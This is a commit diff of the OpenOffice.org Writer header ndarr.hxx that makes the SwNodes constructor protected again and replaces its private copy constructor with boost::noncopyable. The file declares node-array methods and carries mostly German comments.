{"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef SW_NDARR_HXX\n#define SW_NDARR_HXX\n\n#include <vector>\n\n#include <com\/sun\/star\/embed\/XEmbeddedObject.hpp>\n\n#include <svl\/svarray.hxx>\n#include <svtools\/embedhlp.hxx>\n\n#include <bparr.hxx>\n#include <ndtyp.hxx>\n\n\nclass Graphic;\nclass GraphicObject;\nclass String;\nclass SwAttrSet;\nclass SfxItemSet;\nclass SwCntntNode;\nclass SwDoc;\nclass SwGrfFmtColl;\nclass SwGrfNode;\nclass SwHistory;\nclass SwNode;\nclass SwNodeIndex;\nclass SwNodeRange;\nclass SwOLENode;\nclass SwOutlineNodes;\nclass SwPaM;\nclass SwSectionData;\nclass SwSectionFmt;\nclass SwTOXBase;\nclass SwSectionNode;\nclass SwStartNode;\nclass SwTableBoxFmt;\nclass SwTableFmt;\nclass SwTableLine;\nclass SwTableLineFmt;\nclass SwTableNode;\nclass SwTblToTxtSaves;\nclass SwTxtFmtColl;\nclass SwTxtNode;\nclass SwUndoTblToTxt;\nclass SwUndoTxtToTbl;\nstruct SwPosition;\n\n\n\/\/ --------------------\n\/\/ class SwNodes\n\/\/ --------------------\n\ntypedef SwNode * SwNodePtr;\ntypedef BOOL (*FnForEach_SwNodes)( const SwNodePtr&, void* pArgs );\n\nSV_DECL_PTRARR_SORT( SwOutlineNodes, SwNodePtr, 0, 10 )\n\nclass SW_DLLPUBLIC SwNodes: private BigPtrArray\n{\n    friend class SwDoc;\n    friend class SwNode;\n    friend class SwNodeIndex;\n\n    SwNodeIndex* pRoot;                 \/\/ Liste aller Indizies auf Nodes\n\n    \/\/ --> OD 2008-05-14 #refactorlists# - removed <bSyncNumberAndNumRule>\n    void InsertNode( const SwNodePtr pNode,\n                     const SwNodeIndex& rPos );\n    void InsertNode( const SwNodePtr pNode,\n                     ULONG nPos );\n    \/\/ <--\n\n\n    SwDoc* pMyDoc;                      \/\/ in diesem Doc ist das Nodes-Array\n\n    SwNode *pEndOfPostIts, *pEndOfInserts,  \/\/ das sind die festen Bereiche\n           *pEndOfAutotext, *pEndOfRedlines,\n           *pEndOfContent;\n\n    mutable SwOutlineNodes* pOutlineNds;        \/\/ Array aller GliederiungsNodes\n\n    BOOL bInNodesDel : 1;               \/\/ falls rekursiv aufgerufen wird\n                                        \/\/ Num\/Outline nicht aktualisierem\n    BOOL bInDelUpdOutl : 1;             \/\/ Flags fuers aktualisieren von Outl.\n    BOOL bInDelUpdNum : 1;              \/\/ Flags fuers aktualisieren von Outl.\n\n    \/\/ fuer dier Verwaltung der Indizies\n    void RegisterIndex( SwNodeIndex& rIdx );\n    void DeRegisterIndex( SwNodeIndex& rIdx );\n    void RemoveNode( ULONG nDelPos, ULONG nLen, BOOL bDel );\n\n    \/\/ Aktionen auf die Nodes\n    void SectionUpDown( const SwNodeIndex & aStart, const SwNodeIndex & aEnd );\n    void DelNodes( const SwNodeIndex& rStart, ULONG nCnt = 1 );\n\n    void ChgNode( SwNodeIndex& rDelPos, ULONG nSize,\n                  SwNodeIndex& rInsPos, BOOL bNewFrms );\n\n    void UpdtOutlineIdx( const SwNode& );   \/\/ Update ab Node alle OutlineNodes\n\n    void _CopyNodes( const SwNodeRange&, const SwNodeIndex&,\n                    BOOL bNewFrms = TRUE, BOOL bTblInsDummyNode = FALSE ) const;\n    void _DelDummyNodes( const SwNodeRange& rRg );\n\npublic:\n    SwNodes( SwDoc* pDoc );\n\npublic:\n    ~SwNodes();\n\n    typedef ::std::vector<SwNodeRange> NodeRanges_t;\n    typedef ::std::vector<NodeRanges_t> TableRanges_t;\n\n    SwNodePtr operator[]( ULONG n ) const\n        { return (SwNodePtr)BigPtrArray::operator[] ( n ); }\n\n\/\/JP 29.09.97: impl. steht im ndindex.hxx - sollte moeglichst bald auf die\n\/\/              neue Schnittstelle angepasst werden\n    inline SwNodePtr operator[]( const SwNodeIndex& rIdx ) const;\n\n    ULONG Count() const { return BigPtrArray::Count(); }\n    void ForEach( FnForEach_SwNodes fnForEach, void* pArgs = 0 )\n    {\n        BigPtrArray::ForEach( 0, BigPtrArray::Count(),\n                                (FnForEach) fnForEach, pArgs );\n    }\n    void ForEach( ULONG nStt, ULONG nEnd, FnForEach_SwNodes fnForEach, void* pArgs = 0 )\n    {\n        BigPtrArray::ForEach( nStt, nEnd, (FnForEach) fnForEach, pArgs );\n    }\n    void ForEach( const SwNodeIndex& rStart, const SwNodeIndex& rEnd,\n                    FnForEach_SwNodes fnForEach, void* pArgs = 0 );\n\n    \/\/ eine noch leere Section\n    SwNode& GetEndOfPostIts() const     { return *pEndOfPostIts; }\n    \/\/ Section fuer alle Fussnoten\n    SwNode& GetEndOfInserts() const     { return *pEndOfInserts; }\n    \/\/ Section fuer alle Flys\/Header\/Footers\n    SwNode& GetEndOfAutotext() const    { return *pEndOfAutotext; }\n    \/\/ Section fuer alle Redlines\n    SwNode& GetEndOfRedlines() const    { return *pEndOfRedlines; }\n    \/\/ das ist der letzte EndNode einer SonderSection. Hier nach kommt nur\n    \/\/ noch die normale ContentSection (also der BodyText)\n    SwNode& GetEndOfExtras() const      { return *pEndOfRedlines; }\n    \/\/ die normale ContentSection (also der BodyText)\n    SwNode& GetEndOfContent() const     { return *pEndOfContent; }\n\n    \/\/ ist das NodesArray das normale vom Doc? (nicht das UndoNds, .. )\n    \/\/ Implementierung steht im doc.hxx (weil man dazu Doc kennen muss) !\n    BOOL IsDocNodes() const;\n\n    USHORT GetSectionLevel(const SwNodeIndex &rIndex) const;\n    void Delete(const SwNodeIndex &rPos, ULONG nNodes = 1);\n\n    BOOL _MoveNodes( const SwNodeRange&, SwNodes& rNodes, const SwNodeIndex&,\n                BOOL bNewFrms = TRUE );\n    void MoveRange( SwPaM&, SwPosition&, SwNodes& rNodes );\n\n    void _Copy( const SwNodeRange& rRg, const SwNodeIndex& rInsPos,\n                BOOL bNewFrms = TRUE ) const\n        {   _CopyNodes( rRg, rInsPos, bNewFrms ); }\n\n    void SectionUp( SwNodeRange *);\n    void SectionDown( SwNodeRange *pRange, SwStartNodeType = SwNormalStartNode );\n\n    BOOL CheckNodesRange( const SwNodeIndex& rStt, const SwNodeIndex& rEnd ) const;\n\n    void GoStartOfSection(SwNodeIndex *) const;\n    void GoEndOfSection(SwNodeIndex *) const;\n\n    SwCntntNode* GoNext(SwNodeIndex *) const;\n    SwCntntNode* GoPrevious(SwNodeIndex *) const;\n\n    \/\/Gehe zum naechsten\/vorherigen Cntnt\/Tabellennode, fuer den\n    \/\/es LayoutFrames gibt, dabei Kopf-\/Fusszeilen\/Rahmen etc. nicht verlassen\n    SwNode* GoNextWithFrm(SwNodeIndex *) const;\n    SwNode* GoPreviousWithFrm(SwNodeIndex *) const;\n\n    \/\/ zum naechsten Content-Node, der nicht geschuetzt oder versteckt ist\n    \/\/ (beides auf FALSE ==> GoNext\/GoPrevious!!!)\n    SwCntntNode* GoNextSection( SwNodeIndex *, int bSkipHidden  = TRUE,\n                                           int bSkipProtect = TRUE ) const;\n    SwCntntNode* GoPrevSection( SwNodeIndex *, int bSkipHidden  = TRUE,\n                                           int bSkipProtect = TRUE ) const;\n\n    \/\/ erzeuge ein leere Section von Start und EndNode. Darf nur gerufen\n    \/\/ werden, wenn eine neue Section mit Inhalt erzeugt werden soll.\n    \/\/ Zum Beispiel bei den Filtern\/Undo\/...\n    SwStartNode* MakeEmptySection( const SwNodeIndex& rIdx,\n                                    SwStartNodeType = SwNormalStartNode );\n\n    \/\/ die Impl. von \"Make...Node\" stehen in den angegebenen .ccx-Files\n    SwTxtNode *MakeTxtNode( const SwNodeIndex & rWhere,\n                            SwTxtFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0 ); \/\/ in ndtxt.cxx\n    SwStartNode* MakeTextSection( const SwNodeIndex & rWhere,\n                            SwStartNodeType eSttNdTyp,\n                            SwTxtFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0 );\n\n    SwGrfNode *MakeGrfNode( const SwNodeIndex & rWhere,\n                            const String& rGrfName,\n                            const String& rFltName,\n                            const Graphic* pGraphic,\n                            SwGrfFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0,\n                            BOOL bDelayed = FALSE );    \/\/ in ndgrf.cxx\n\n    SwGrfNode *MakeGrfNode( const SwNodeIndex & rWhere,\n                            const GraphicObject& rGrfObj,\n                            SwGrfFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0 ); \/\/ in ndgrf.cxx\n\n    SwOLENode *MakeOLENode( const SwNodeIndex & rWhere,\n                            const svt::EmbeddedObjectRef&,\n                            SwGrfFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0 ); \/\/ in ndole.cxx\n    SwOLENode *MakeOLENode( const SwNodeIndex & rWhere,\n                            const String &rName,\n                            sal_Int64 nAspect,\n                            SwGrfFmtColl *pColl,\n                            SwAttrSet* pAutoAttr ); \/\/ in ndole.cxx\n\n        \/\/ Array aller GliederiungsNodes;\n    const SwOutlineNodes& GetOutLineNds() const;\n\n    \/\/void UpdateOutlineNode( const SwNode&, BYTE nOldLevel, BYTE nNewLevel );\/\/#outline level,removed by zhaojianwei\n        \/\/ alle Nodes Updaten - Rule\/Format-Aenderung\n    void UpdateOutlineNode(SwNode & rNd);\n\n        \/\/ fuege die Nodes fuer die Tabelle ein\n        \/\/ wenn Lines angegeben, erzeuge die Matrix aus Lines & Boxen\n        \/\/ ansonsten nur die Anzahl von Boxen.\n    \/* #109161#\n\n       New parameter pAttrSet: If pAttrSet is non-null and contains an\n       adjust item it is propagated to the table cells. If there is an\n       adjust in pCntntTxtColl or pHeadlineTxtColl this adjust item\n       overrides the item in pAttrSet.\n\n     *\/\n    SwTableNode* InsertTable( const SwNodeIndex& rNdIdx,\n                        USHORT nBoxes, SwTxtFmtColl* pCntntTxtColl,\n                        USHORT nLines = 0, USHORT nRepeat = 0,\n                        SwTxtFmtColl* pHeadlineTxtColl = 0,\n                        const SwAttrSet * pAttrSet = 0);\n\n        \/\/ erzeuge aus dem makierten Bereich eine ausgeglichene Tabelle\n    SwTableNode* TextToTable( const SwNodeRange& rRange, sal_Unicode cCh,\n                                SwTableFmt* pTblFmt,\n                                SwTableLineFmt* pLineFmt,\n                                SwTableBoxFmt* pBoxFmt,\n                                SwTxtFmtColl* pTxtColl,\n                                SwUndoTxtToTbl* pUndo = 0 );\n\n    SwNodeRange * ExpandRangeForTableBox(const SwNodeRange & rRange);\n\n    \/\/create a table from a vector of NodeRanges - API support\n    SwTableNode* TextToTable( const TableRanges_t& rTableNodes,\n                                SwTableFmt* pTblFmt,\n                                SwTableLineFmt* pLineFmt,\n                                SwTableBoxFmt* pBoxFmt,\n                                SwTxtFmtColl* pTxtColl\n                                \/*, SwUndo... pUndo*\/ );\n\n        \/\/ erzeuge aus der Tabelle wieder normalen Text\n    BOOL TableToText( const SwNodeRange& rRange, sal_Unicode cCh,\n                        SwUndoTblToTxt* = 0 );\n        \/\/ steht im untbl.cxx und darf nur vom Undoobject gerufen werden\n    SwTableNode* UndoTableToText( ULONG nStt, ULONG nEnd,\n                        const SwTblToTxtSaves& rSavedData );\n\n        \/\/ fuege in der Line, vor der InsPos eine neue Box ein. Das Format\n        \/\/ wird von der nachfolgenden (vorhergenden;wenn an Ende) genommen\n        \/\/ in der Line muss schon eine Box vorhanden sein !\n    BOOL InsBoxen( SwTableNode*, SwTableLine*, SwTableBoxFmt*,\n                        \/\/ Formate fuer den TextNode der Box\n                        SwTxtFmtColl*, const SfxItemSet* pAutoAttr,\n                        USHORT nInsPos, USHORT nCnt = 1 );\n        \/\/ Splittet eine Tabelle in der Grund-Zeile, in der der Index steht.\n        \/\/ Alle GrundZeilen dahinter wandern in eine neue Tabelle\/-Node.\n        \/\/ Ist das Flag bCalcNewSize auf TRUE, wird fuer beide neuen Tabellen\n        \/\/ die neue SSize aus dem Max der Boxen errechnet; vorrausgesetzt,\n        \/\/ die SSize ist \"absolut\" gesetzt (LONG_MAX)\n        \/\/ (Wird zur Zeit nur fuer den RTF-Parser benoetigt)\n    SwTableNode* SplitTable( const SwNodeIndex& rPos, BOOL bAfter = TRUE,\n                                BOOL bCalcNewSize = FALSE );\n        \/\/ fuegt 2 Tabellen, die hintereinander stehen, wieder zusammen\n    BOOL MergeTable( const SwNodeIndex& rPos, BOOL bWithPrev = TRUE,\n                    USHORT nMode = 0, SwHistory* pHistory = 0 );\n\n        \/\/ fuege eine neue SwSection ein\n    SwSectionNode* InsertTextSection(SwNodeIndex const& rNdIdx,\n                                SwSectionFmt& rSectionFmt,\n                                SwSectionData const&,\n                                SwTOXBase const*const pTOXBase,\n                                SwNodeIndex const*const pEnde,\n                                bool const bInsAtStart = true,\n                                bool const bCreateFrms = true);\n\n        \/\/ in welchem Doc steht das Nodes-Array ?\n            SwDoc* GetDoc()         { return pMyDoc; }\n    const   SwDoc* GetDoc() const   { return pMyDoc; }\n\n        \/\/ suche den vorhergehenden [\/nachfolgenden ] ContentNode oder\n        \/\/ TabellenNode mit Frames. Wird kein Ende angeben, dann wird mit\n        \/\/ dem FrameIndex begonnen; ansonsten, wird mit dem vor rFrmIdx und\n        \/\/ dem hintern pEnd die Suche gestartet. Sollte kein gueltiger Node\n        \/\/ gefunden werden, wird 0 returnt. rFrmIdx zeigt auf dem Node mit\n        \/\/ Frames\n    SwNode* FindPrvNxtFrmNode( SwNodeIndex& rFrmIdx,\n                                const SwNode* pEnd = 0 ) const;\n\n    \/\/-> #112139#\n    SwNode * DocumentSectionStartNode(SwNode * pNode) const;\n    SwNode * DocumentSectionEndNode(SwNode * pNode) const;\n    \/\/<- #112139#\nprivate:\n    \/\/ privater Constructor, weil nie kopiert werden darf !!\n    SwNodes( const SwNodes & rNodes );\n};\n\n\n\n#endif\n<commit_msg>undoapi: #i115383#: rollback change: make SwNodes ctor protected again<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef SW_NDARR_HXX\n#define SW_NDARR_HXX\n\n#include <vector>\n\n#include <boost\/utility.hpp>\n\n#include <com\/sun\/star\/embed\/XEmbeddedObject.hpp>\n\n#include <svl\/svarray.hxx>\n#include <svtools\/embedhlp.hxx>\n\n#include <bparr.hxx>\n#include <ndtyp.hxx>\n\n\nclass Graphic;\nclass GraphicObject;\nclass String;\nclass SwAttrSet;\nclass SfxItemSet;\nclass SwCntntNode;\nclass SwDoc;\nclass SwGrfFmtColl;\nclass SwGrfNode;\nclass SwHistory;\nclass SwNode;\nclass SwNodeIndex;\nclass SwNodeRange;\nclass SwOLENode;\nclass SwOutlineNodes;\nclass SwPaM;\nclass SwSectionData;\nclass SwSectionFmt;\nclass SwTOXBase;\nclass SwSectionNode;\nclass SwStartNode;\nclass SwTableBoxFmt;\nclass SwTableFmt;\nclass SwTableLine;\nclass SwTableLineFmt;\nclass SwTableNode;\nclass SwTblToTxtSaves;\nclass SwTxtFmtColl;\nclass SwTxtNode;\nclass SwUndoTblToTxt;\nclass SwUndoTxtToTbl;\nstruct SwPosition;\n\n\n\/\/ --------------------\n\/\/ class SwNodes\n\/\/ --------------------\n\ntypedef SwNode * SwNodePtr;\ntypedef BOOL (*FnForEach_SwNodes)( const SwNodePtr&, void* pArgs );\n\nSV_DECL_PTRARR_SORT( SwOutlineNodes, SwNodePtr, 0, 10 )\n\nclass SW_DLLPUBLIC SwNodes\n    : private BigPtrArray\n    , private ::boost::noncopyable\n{\n    friend class SwDoc;\n    friend class SwNode;\n    friend class SwNodeIndex;\n\n    SwNodeIndex* pRoot;                 \/\/ Liste aller Indizies auf Nodes\n\n    \/\/ --> OD 2008-05-14 #refactorlists# - removed <bSyncNumberAndNumRule>\n    void InsertNode( const SwNodePtr pNode,\n                     const SwNodeIndex& rPos );\n    void InsertNode( const SwNodePtr pNode,\n                     ULONG nPos );\n    \/\/ <--\n\n\n    SwDoc* pMyDoc;                      \/\/ in diesem Doc ist das Nodes-Array\n\n    SwNode *pEndOfPostIts, *pEndOfInserts,  \/\/ das sind die festen Bereiche\n           *pEndOfAutotext, *pEndOfRedlines,\n           *pEndOfContent;\n\n    mutable SwOutlineNodes* pOutlineNds;        \/\/ Array aller GliederiungsNodes\n\n    BOOL bInNodesDel : 1;               \/\/ falls rekursiv aufgerufen wird\n                                        \/\/ Num\/Outline nicht aktualisierem\n    BOOL bInDelUpdOutl : 1;             \/\/ Flags fuers aktualisieren von Outl.\n    BOOL bInDelUpdNum : 1;              \/\/ Flags fuers aktualisieren von Outl.\n\n    \/\/ fuer dier Verwaltung der Indizies\n    void RegisterIndex( SwNodeIndex& rIdx );\n    void DeRegisterIndex( SwNodeIndex& rIdx );\n    void RemoveNode( ULONG nDelPos, ULONG nLen, BOOL bDel );\n\n    \/\/ Aktionen auf die Nodes\n    void SectionUpDown( const SwNodeIndex & aStart, const SwNodeIndex & aEnd );\n    void DelNodes( const SwNodeIndex& rStart, ULONG nCnt = 1 );\n\n    void ChgNode( SwNodeIndex& rDelPos, ULONG nSize,\n                  SwNodeIndex& rInsPos, BOOL bNewFrms );\n\n    void UpdtOutlineIdx( const SwNode& );   \/\/ Update ab Node alle OutlineNodes\n\n    void _CopyNodes( const SwNodeRange&, const SwNodeIndex&,\n                    BOOL bNewFrms = TRUE, BOOL bTblInsDummyNode = FALSE ) const;\n    void _DelDummyNodes( const SwNodeRange& rRg );\n\nprotected:\n    SwNodes( SwDoc* pDoc );\n\npublic:\n    ~SwNodes();\n\n    typedef ::std::vector<SwNodeRange> NodeRanges_t;\n    typedef ::std::vector<NodeRanges_t> TableRanges_t;\n\n    SwNodePtr operator[]( ULONG n ) const\n        { return (SwNodePtr)BigPtrArray::operator[] ( n ); }\n\n\/\/JP 29.09.97: impl. steht im ndindex.hxx - sollte moeglichst bald auf die\n\/\/              neue Schnittstelle angepasst werden\n    inline SwNodePtr operator[]( const SwNodeIndex& rIdx ) const;\n\n    ULONG Count() const { return BigPtrArray::Count(); }\n    void ForEach( FnForEach_SwNodes fnForEach, void* pArgs = 0 )\n    {\n        BigPtrArray::ForEach( 0, BigPtrArray::Count(),\n                                (FnForEach) fnForEach, pArgs );\n    }\n    void ForEach( ULONG nStt, ULONG nEnd, FnForEach_SwNodes fnForEach, void* pArgs = 0 )\n    {\n        BigPtrArray::ForEach( nStt, nEnd, (FnForEach) fnForEach, pArgs );\n    }\n    void ForEach( const SwNodeIndex& rStart, const SwNodeIndex& rEnd,\n                    FnForEach_SwNodes fnForEach, void* pArgs = 0 );\n\n    \/\/ eine noch leere Section\n    SwNode& GetEndOfPostIts() const     { return *pEndOfPostIts; }\n    \/\/ Section fuer alle Fussnoten\n    SwNode& GetEndOfInserts() const     { return *pEndOfInserts; }\n    \/\/ Section fuer alle Flys\/Header\/Footers\n    SwNode& GetEndOfAutotext() const    { return *pEndOfAutotext; }\n    \/\/ Section fuer alle Redlines\n    SwNode& GetEndOfRedlines() const    { return *pEndOfRedlines; }\n    \/\/ das ist der letzte EndNode einer SonderSection. Hier nach kommt nur\n    \/\/ noch die normale ContentSection (also der BodyText)\n    SwNode& GetEndOfExtras() const      { return *pEndOfRedlines; }\n    \/\/ die normale ContentSection (also der BodyText)\n    SwNode& GetEndOfContent() const     { return *pEndOfContent; }\n\n    \/\/ ist das NodesArray das normale vom Doc? (nicht das UndoNds, .. )\n    \/\/ Implementierung steht im doc.hxx (weil man dazu Doc kennen muss) !\n    BOOL IsDocNodes() const;\n\n    USHORT GetSectionLevel(const SwNodeIndex &rIndex) const;\n    void Delete(const SwNodeIndex &rPos, ULONG nNodes = 1);\n\n    BOOL _MoveNodes( const SwNodeRange&, SwNodes& rNodes, const SwNodeIndex&,\n                BOOL bNewFrms = TRUE );\n    void MoveRange( SwPaM&, SwPosition&, SwNodes& rNodes );\n\n    void _Copy( const SwNodeRange& rRg, const SwNodeIndex& rInsPos,\n                BOOL bNewFrms = TRUE ) const\n        {   _CopyNodes( rRg, rInsPos, bNewFrms ); }\n\n    void SectionUp( SwNodeRange *);\n    void SectionDown( SwNodeRange *pRange, SwStartNodeType = SwNormalStartNode );\n\n    BOOL CheckNodesRange( const SwNodeIndex& rStt, const SwNodeIndex& rEnd ) const;\n\n    void GoStartOfSection(SwNodeIndex *) const;\n    void GoEndOfSection(SwNodeIndex *) const;\n\n    SwCntntNode* GoNext(SwNodeIndex *) const;\n    SwCntntNode* GoPrevious(SwNodeIndex *) const;\n\n    \/\/Gehe zum naechsten\/vorherigen Cntnt\/Tabellennode, fuer den\n    \/\/es LayoutFrames gibt, dabei Kopf-\/Fusszeilen\/Rahmen etc. nicht verlassen\n    SwNode* GoNextWithFrm(SwNodeIndex *) const;\n    SwNode* GoPreviousWithFrm(SwNodeIndex *) const;\n\n    \/\/ zum naechsten Content-Node, der nicht geschuetzt oder versteckt ist\n    \/\/ (beides auf FALSE ==> GoNext\/GoPrevious!!!)\n    SwCntntNode* GoNextSection( SwNodeIndex *, int bSkipHidden  = TRUE,\n                                           int bSkipProtect = TRUE ) const;\n    SwCntntNode* GoPrevSection( SwNodeIndex *, int bSkipHidden  = TRUE,\n                                           int bSkipProtect = TRUE ) const;\n\n    \/\/ erzeuge ein leere Section von Start und EndNode. Darf nur gerufen\n    \/\/ werden, wenn eine neue Section mit Inhalt erzeugt werden soll.\n    \/\/ Zum Beispiel bei den Filtern\/Undo\/...\n    SwStartNode* MakeEmptySection( const SwNodeIndex& rIdx,\n                                    SwStartNodeType = SwNormalStartNode );\n\n    \/\/ die Impl. von \"Make...Node\" stehen in den angegebenen .ccx-Files\n    SwTxtNode *MakeTxtNode( const SwNodeIndex & rWhere,\n                            SwTxtFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0 ); \/\/ in ndtxt.cxx\n    SwStartNode* MakeTextSection( const SwNodeIndex & rWhere,\n                            SwStartNodeType eSttNdTyp,\n                            SwTxtFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0 );\n\n    SwGrfNode *MakeGrfNode( const SwNodeIndex & rWhere,\n                            const String& rGrfName,\n                            const String& rFltName,\n                            const Graphic* pGraphic,\n                            SwGrfFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0,\n                            BOOL bDelayed = FALSE );    \/\/ in ndgrf.cxx\n\n    SwGrfNode *MakeGrfNode( const SwNodeIndex & rWhere,\n                            const GraphicObject& rGrfObj,\n                            SwGrfFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0 ); \/\/ in ndgrf.cxx\n\n    SwOLENode *MakeOLENode( const SwNodeIndex & rWhere,\n                            const svt::EmbeddedObjectRef&,\n                            SwGrfFmtColl *pColl,\n                            SwAttrSet* pAutoAttr = 0 ); \/\/ in ndole.cxx\n    SwOLENode *MakeOLENode( const SwNodeIndex & rWhere,\n                            const String &rName,\n                            sal_Int64 nAspect,\n                            SwGrfFmtColl *pColl,\n                            SwAttrSet* pAutoAttr ); \/\/ in ndole.cxx\n\n        \/\/ Array aller GliederiungsNodes;\n    const SwOutlineNodes& GetOutLineNds() const;\n\n    \/\/void UpdateOutlineNode( const SwNode&, BYTE nOldLevel, BYTE nNewLevel );\/\/#outline level,removed by zhaojianwei\n        \/\/ alle Nodes Updaten - Rule\/Format-Aenderung\n    void UpdateOutlineNode(SwNode & rNd);\n\n        \/\/ fuege die Nodes fuer die Tabelle ein\n        \/\/ wenn Lines angegeben, erzeuge die Matrix aus Lines & Boxen\n        \/\/ ansonsten nur die Anzahl von Boxen.\n    \/* #109161#\n\n       New parameter pAttrSet: If pAttrSet is non-null and contains an\n       adjust item it is propagated to the table cells. If there is an\n       adjust in pCntntTxtColl or pHeadlineTxtColl this adjust item\n       overrides the item in pAttrSet.\n\n     *\/\n    SwTableNode* InsertTable( const SwNodeIndex& rNdIdx,\n                        USHORT nBoxes, SwTxtFmtColl* pCntntTxtColl,\n                        USHORT nLines = 0, USHORT nRepeat = 0,\n                        SwTxtFmtColl* pHeadlineTxtColl = 0,\n                        const SwAttrSet * pAttrSet = 0);\n\n        \/\/ erzeuge aus dem makierten Bereich eine ausgeglichene Tabelle\n    SwTableNode* TextToTable( const SwNodeRange& rRange, sal_Unicode cCh,\n                                SwTableFmt* pTblFmt,\n                                SwTableLineFmt* pLineFmt,\n                                SwTableBoxFmt* pBoxFmt,\n                                SwTxtFmtColl* pTxtColl,\n                                SwUndoTxtToTbl* pUndo = 0 );\n\n    SwNodeRange * ExpandRangeForTableBox(const SwNodeRange & rRange);\n\n    \/\/create a table from a vector of NodeRanges - API support\n    SwTableNode* TextToTable( const TableRanges_t& rTableNodes,\n                                SwTableFmt* pTblFmt,\n                                SwTableLineFmt* pLineFmt,\n                                SwTableBoxFmt* pBoxFmt,\n                                SwTxtFmtColl* pTxtColl\n                                \/*, SwUndo... pUndo*\/ );\n\n        \/\/ erzeuge aus der Tabelle wieder normalen Text\n    BOOL TableToText( const SwNodeRange& rRange, sal_Unicode cCh,\n                        SwUndoTblToTxt* = 0 );\n        \/\/ steht im untbl.cxx und darf nur vom Undoobject gerufen werden\n    SwTableNode* UndoTableToText( ULONG nStt, ULONG nEnd,\n                        const SwTblToTxtSaves& rSavedData );\n\n        \/\/ fuege in der Line, vor der InsPos eine neue Box ein. Das Format\n        \/\/ wird von der nachfolgenden (vorhergenden;wenn an Ende) genommen\n        \/\/ in der Line muss schon eine Box vorhanden sein !\n    BOOL InsBoxen( SwTableNode*, SwTableLine*, SwTableBoxFmt*,\n                        \/\/ Formate fuer den TextNode der Box\n                        SwTxtFmtColl*, const SfxItemSet* pAutoAttr,\n                        USHORT nInsPos, USHORT nCnt = 1 );\n        \/\/ Splittet eine Tabelle in der Grund-Zeile, in der der Index steht.\n        \/\/ Alle GrundZeilen dahinter wandern in eine neue Tabelle\/-Node.\n        \/\/ Ist das Flag bCalcNewSize auf TRUE, wird fuer beide neuen Tabellen\n        \/\/ die neue SSize aus dem Max der Boxen errechnet; vorrausgesetzt,\n        \/\/ die SSize ist \"absolut\" gesetzt (LONG_MAX)\n        \/\/ (Wird zur Zeit nur fuer den RTF-Parser benoetigt)\n    SwTableNode* SplitTable( const SwNodeIndex& rPos, BOOL bAfter = TRUE,\n                                BOOL bCalcNewSize = FALSE );\n        \/\/ fuegt 2 Tabellen, die hintereinander stehen, wieder zusammen\n    BOOL MergeTable( const SwNodeIndex& rPos, BOOL bWithPrev = TRUE,\n                    USHORT nMode = 0, SwHistory* pHistory = 0 );\n\n        \/\/ fuege eine neue SwSection ein\n    SwSectionNode* InsertTextSection(SwNodeIndex const& rNdIdx,\n                                SwSectionFmt& rSectionFmt,\n                                SwSectionData const&,\n                                SwTOXBase const*const pTOXBase,\n                                SwNodeIndex const*const pEnde,\n                                bool const bInsAtStart = true,\n                                bool const bCreateFrms = true);\n\n        \/\/ in welchem Doc steht das Nodes-Array ?\n            SwDoc* GetDoc()         { return pMyDoc; }\n    const   SwDoc* GetDoc() const   { return pMyDoc; }\n\n        \/\/ suche den vorhergehenden [\/nachfolgenden ] ContentNode oder\n        \/\/ TabellenNode mit Frames. Wird kein Ende angeben, dann wird mit\n        \/\/ dem FrameIndex begonnen; ansonsten, wird mit dem vor rFrmIdx und\n        \/\/ dem hintern pEnd die Suche gestartet. Sollte kein gueltiger Node\n        \/\/ gefunden werden, wird 0 returnt. rFrmIdx zeigt auf dem Node mit\n        \/\/ Frames\n    SwNode* FindPrvNxtFrmNode( SwNodeIndex& rFrmIdx,\n                                const SwNode* pEnd = 0 ) const;\n\n    \/\/-> #112139#\n    SwNode * DocumentSectionStartNode(SwNode * pNode) const;\n    SwNode * DocumentSectionEndNode(SwNode * pNode) const;\n    \/\/<- #112139#\n};\n\n#endif\n<|endoftext|>"}
